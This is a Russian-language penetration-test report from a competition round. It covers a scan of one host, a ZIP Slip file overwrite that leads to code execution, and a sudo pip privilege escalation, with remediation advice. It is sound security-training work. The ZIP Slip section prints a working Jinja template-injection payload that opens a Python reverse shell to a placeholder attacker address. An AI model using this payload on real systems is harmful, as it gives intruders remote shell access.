# Innopolis Open (Информационная безопасность) - 2 тур. Offensive Security Report
Команда: BinaryCats
Состав команды:
- Ахметзянова Ильвина (ilvinchik05@gmail.com)
- Лукьянов Артур (artur.lukyanov@gmail.com)
- Ефремов Александр (alexanderonko@gmail.com)
- Ахметзянов Амир (amirakhmetzyanov1@gmail.com)
- Егор Ерастов (qtstm32fan@qtstm32fan.xyz)
## Summary
Командой BinaryCats было выполнено предоставленное техническое задание - тестирование на проникновение.
Задачей данного тестирования являлось выявление слабых мест (уязвимостей), оценка потенциальных рисков для бизнеса и разработка рекомендаций по защите компании.
В результате анализа было обнаружено 2 уязвимости (2 критических), получен полный доступ к одному из данных устройств. Ниже приведены рекомендации по защите и описание найденных уязвимостей.
## Рекомендации по уменьшению рисков
Защита устройств и сети:
- Рекомендуется настроить IDS/IPS для своевременного реагирования на инциденты
- Рекомендуется настроить fail2ban для SSH, а также настроить аутентификацию только по ключу
Управление рисками:
- Рекомендуется проводить регулярные аудиты безопасности
Защита приложений:
- Рекомендуется настроить WAF
- Рекомендуется исправить перечисленные ниже (раздел "Проникновение") недостатки ПО
## Методологии и стандарты
Для выполнения задачи по тестированию на проникновение наша команда использовала следующие методологии и стандарты:
[**PTES**](http://www.pentest-standard.org/index.php/Main_Page)

PTES определяет следующие этапы тестирования на проникновение:
- Pre-engagement Interactions
- Intelligence Gathering
- Threat Modeling
- Vulnerability Analysis
- Exploitation
- Post Exploitation
- Reporting
[**OWASP TOP10 WEB (2021)**](https://owasp.org/www-project-top-ten/)

Owasp Top10 - это список наиболее распространённых web уязвимостей и стандарт для анализа веб-приложений на предмет их наличия. В версии стандарта 2021 года представлены следующие пункты:
- A01:2021-Broken Access Control
- A02:2021-Cryptographic Failures
- A03:2021-Injection
- A04:2021-Insecure Design
- A05:2021-Security Misconfiguration
- A06:2021-Vulnerable and Outdated Components
- A07:2021-Identification and Authentication Failures
- A08:2021-Software and Data Integrity Failures
- A09:2021-Security Logging and Monitoring Failures
- A10:2021-Server-Side Request Forgery
[**CVSS (v3.1)**](https://www.first.org/cvss/)
CVSS - это гибкая и открытая система приоритезации уязвимостей.
Для подсчёта CVSS Score использовался следующий сайт: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
## 178.154.232.94
### Сбор информации
Перед началом тестирования на проникновение требуется определить объём тестов и условия проведения анализа. В ходе сбора информации о целевых устройствах были определены следующие IP-адреса:
178.154.232.94
### Перечисление сервисов
Результат сканирования портов:
Порт|Сервис|Версия
-|-|-
22|ssh|OpenSSH 8.2p1
8080|gunicorn|
На 8080 порту находится веб-приложение:

Это приложение позволяет пользователю загружать .zip архивы.
Кроме того, этот сервис предоставляет пути /list (ошибка) и /console (werkzeug debug console). Из текста ошибки делаем вывод, что приложение написано на python3.8, с использованием flask:

### Проникновение
**ZIP Slip to RCE**
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
[CVSS](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&version=3.1)

Zip Slip — это широко распространенная критическая уязвимость, связанная с перезаписью произвольного файла, которая обычно приводит к удаленному выполнению команды.
Для исполнения произвольного кода на уязвимой машине был перезаписан шаблон Jinja /app/templates/index.html.
POC (reverse shell):
```jinja
{{
''.__class__.__mro__[1].__subclasses__()[279]('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP address here>",<port here>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'', shell=True, stdout=-1).communicate()
}}
```
Рекомендуемая мера противодействия: использовать новые версии библиотек. Уязвимость Zip Slip была исправлена в пакетах Python в 2014 году.
[Подробнее о Zip Slip](https://snyk.io/research/zip-slip-vulnerability)
### Повышение привилегий
**Excessive privileges - Sudo**
CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
[CVSS](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1)

Пользователю предоставлена возможность использовать `pip install` с наивысшими привилегиями. `pip install` может быть использован для выполнения произвольного кода.
[Reference](https://gtfobins.github.io/gtfobins/pip/#sudo)

Рекомендуемая мера противодействия: ограничить права пользователя
[Подробнее о Sudo](https://man7.org/linux/man-pages/man8/sudo.8.html)